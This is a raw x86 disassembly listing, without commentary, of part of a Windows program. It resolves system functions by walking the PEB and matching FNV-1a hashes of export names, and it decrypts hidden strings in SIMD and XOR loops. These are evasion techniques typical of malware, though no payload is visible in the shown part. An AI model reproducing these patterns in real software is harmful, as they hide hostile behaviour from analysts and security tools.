jge 0x4160e9
jmp 0x4149e0
cmp dword [ebp - 0x28c], 0x10
lea eax, [ebp - 0x2a0]
movups xmm0, xmmword [0x49e738]
cmovae eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x4c8], eax
mov eax, dword fs:[0x30]
movups xmmword [ebp - 0x2b8], xmm0
movq xmm0, qword [0x49e748]
movq qword [ebp - 0x2a8], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x22c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x414aea
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414aea
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x12877910
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414add
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414ac0
cmp esi, 0xde3d6f11
je 0x414af1
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414aa0
mov eax, dword [eax]
jmp 0x414a60
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [0x4a5684]
mov esi, dword [ecx + eax*4]
add esi, edx
xor edx, edx
mov dword [ebp - 0x4b4], edx
cmp edi, 2
jl 0x414c80
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2bc]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x2bc], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2b8]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x2b8], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x414b70
mov dword [ebp - 0x4b4], edx
cmp edx, 0x18
jge 0x414cb7
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x2b8], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x18
jl 0x414c80
lea eax, [ebp - 0x2b8]
push eax
push dword [ebp - 0x4c8]
call esi
add esp, 8
test eax, eax
jne 0x414eb2
movups xmm0, xmmword [0x49eff8]
mov eax, dword [0x49f010]
xor edx, edx
mov dword [ebp - 0x2c0], eax
mov ax, word [0x49f014]
mov word [ebp - 0x2bc], ax
mov al, byte [0x49f016]
mov byte [ebp - 0x2ba], al
mov dword [ebp - 0x4b4], edx
movups xmmword [ebp - 0x2d8], xmm0
movq xmm0, qword [0x49f008]
movq qword [ebp - 0x2c8], xmm0
cmp edi, 2
jl 0x414e70
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2dc]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x2dc], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2d8]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x2d8], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x414d61
mov dword [ebp - 0x4b4], edx
cmp edx, 0x1f
jge 0x414ea7
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x2d8], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x1f
jl 0x414e70
lea ecx, [ebp - 0x2d8]
jmp 0x4155eb
mov eax, dword [0x49eac8]
cmp dword [ebp - 0x28c], 0x10
movups xmm0, xmmword [0x49eab0]
mov dword [ebp - 0x2c0], eax
lea eax, [ebp - 0x2a0]
cmovae eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x4c8], eax
mov eax, dword fs:[0x30]
movups xmmword [ebp - 0x2d8], xmm0
movq xmm0, qword [0x49eac0]
movq qword [ebp - 0x2c8], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x22c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x414f8a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x414f8a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x9c97be93
mov cl, byte [edx]
inc edx
test cl, cl
je 0x414f7d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414f60
cmp esi, 0x4d5eaf46
je 0x414f91
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x414f40
mov eax, dword [eax]
jmp 0x414f01
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [0x4a5684]
mov esi, dword [ecx + eax*4]
add esi, edx
xor edx, edx
mov dword [ebp - 0x4b4], edx
cmp edi, 2
jl 0x415120
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2dc]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x2dc], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2d8]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x2d8], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x415010
mov dword [ebp - 0x4b4], edx
cmp edx, 0x1c
jge 0x415157
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x2d8], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x1c
jl 0x415120
lea eax, [ebp - 0x2d8]
push eax
push dword [ebp - 0x4c8]
call esi
add esp, 8
test eax, eax
jne 0x4155f0
movups xmm0, xmmword [0x49ed24]
mov eax, dword [0x49ed44]
xor edx, edx
mov dword [ebp - 0x368], eax
mov al, byte [0x49ed48]
mov byte [ebp - 0x364], al
mov dword [ebp - 0x4b4], edx
movups xmmword [ebp - 0x388], xmm0
movups xmm0, xmmword [0x49ed34]
movups xmmword [ebp - 0x378], xmm0
cmp edi, 2
jl 0x415300
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x38c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x38c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x388]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x388], xmm1
add eax, 8
cmp eax, 0x24
jl 0x4151f2
mov dword [ebp - 0x4b4], edx
cmp edx, 0x25
jge 0x415337
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x388], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x25
jl 0x415300
lea ecx, [ebp - 0x388]
jmp 0x4155eb
mov eax, dword [0x49e5a0]
movups xmm0, xmmword [0x49e580]
mov dword [ebp - 0x250], eax
mov ax, word [0x49e5a4]
movups xmmword [ebp - 0x270], xmm0
mov word [ebp - 0x24c], ax
mov eax, dword fs:[0x30]
movups xmm0, xmmword [0x49e590]
movups xmmword [ebp - 0x260], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x22c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x41540a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41540a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0xd6fabe44
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4153fd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4153e0
cmp esi, 0xcf00a99a
je 0x415411
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4153c0
mov eax, dword [eax]
jmp 0x415382
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
add esi, edx
xor edx, edx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4b4], edx
jl 0x415595
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x270]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x270], xmm1
add eax, 8
cmp eax, 0x24
jl 0x415483
mov dword [ebp - 0x4b4], edx
cmp edx, 0x26
jge 0x4155cc
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x270], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x26
jl 0x415595
push dword [ebp - 0x4c8]
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x120]
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x120]
call fcn.004031d0
push dword [ebp - 0x234]
call fcn.004180e0
add esp, 4
jmp 0x4138a2
push edx
push ecx
call fcn.0046a5c6
add esp, 8
jmp 0x4157f4
movups xmm0, xmmword [0x49eaf0]
mov eax, dword [0x49eb10]
xor edx, edx
mov dword [ebp - 0x250], eax
mov ax, word [0x49eb14]
mov word [ebp - 0x24c], ax
mov al, byte [0x49eb16]
mov byte [ebp - 0x24a], al
mov dword [ebp - 0x4b4], edx
movups xmmword [ebp - 0x270], xmm0
movups xmm0, xmmword [0x49eb00]
movups xmmword [ebp - 0x260], xmm0
cmp edi, 2
jl 0x4157b2
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x274]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x274], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x270]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x270], xmm1
add eax, 8
cmp eax, 0x24
jl 0x4156a0
mov dword [ebp - 0x4b4], edx
cmp edx, 0x27
jge 0x4157e9
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x270], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x27
jl 0x4157b2
lea ecx, [ebp - 0x270]
call fcn.004031d0
call fcn.0040b3a0
movups xmm0, xmmword [0x49ee54]
mov eax, dword fs:[0x30]
movups xmmword [ebp - 0x318], xmm0
movq xmm0, qword [0x49ee64]
movq qword [ebp - 0x308], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x22c], ecx
cmp ecx, esi
je 0x4158aa
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4158aa
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x234], ecx
dec edi
mov esi, 0xf5129a21
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41589d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415880
cmp esi, 0x746c29f5
je 0x4158b1
mov ecx, dword [ebp - 0x234]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415861
mov eax, dword [eax]
jmp 0x415823
mov eax, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x4c4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
add esi, edx
xor edx, edx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4b4], edx
jl 0x415a35
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x31c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x31c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x318]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x318], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x415923
mov dword [ebp - 0x4b4], edx
cmp edx, 0x18
jge 0x415a6c
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x318], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x18
jl 0x415a35
push 0x4a5e2c
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x120]
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x120]
call fcn.00403aa0
lea ecx, [ebp - 0x300]
call fcn.00403e20
cmp dword [ebp - 0x2ec], 0x10
lea eax, [ebp - 0x300]
cmovae eax, dword [ebp - 0x300]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x22c], ecx
cmp ecx, esi
je 0x415b4a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415b4a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x234], ecx
dec edi
mov esi, 0x2bacd1d2
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415b3d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415b20
cmp esi, 0x77bb0ee2
je 0x415b51
mov ecx, dword [ebp - 0x234]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415b00
mov eax, dword [eax]
jmp 0x415ac1
mov eax, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x4c4]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x228]
push ecx
add eax, edx
push 0
call eax
cmp dword [ebp - 0x2ec], 0x10
lea eax, [ebp - 0x300]
mov dword [ebp - 0x288], 0
cmovae eax, dword [ebp - 0x300]
push eax
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov dword [ebp - 4], 0xffffffff
call fcn.004166e0
mov eax, dword [0x49ec64]
xor edx, edx
mov dword [ebp - 0x240], eax
mov al, byte [0x49ec68]
mov byte [ebp - 0x23c], al
mov dword [ebp - 0x4b4], edx
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x4b4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4b4]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x240], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 5
jl 0x415be3
lea esi, [ebp - 0x240]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x415c28
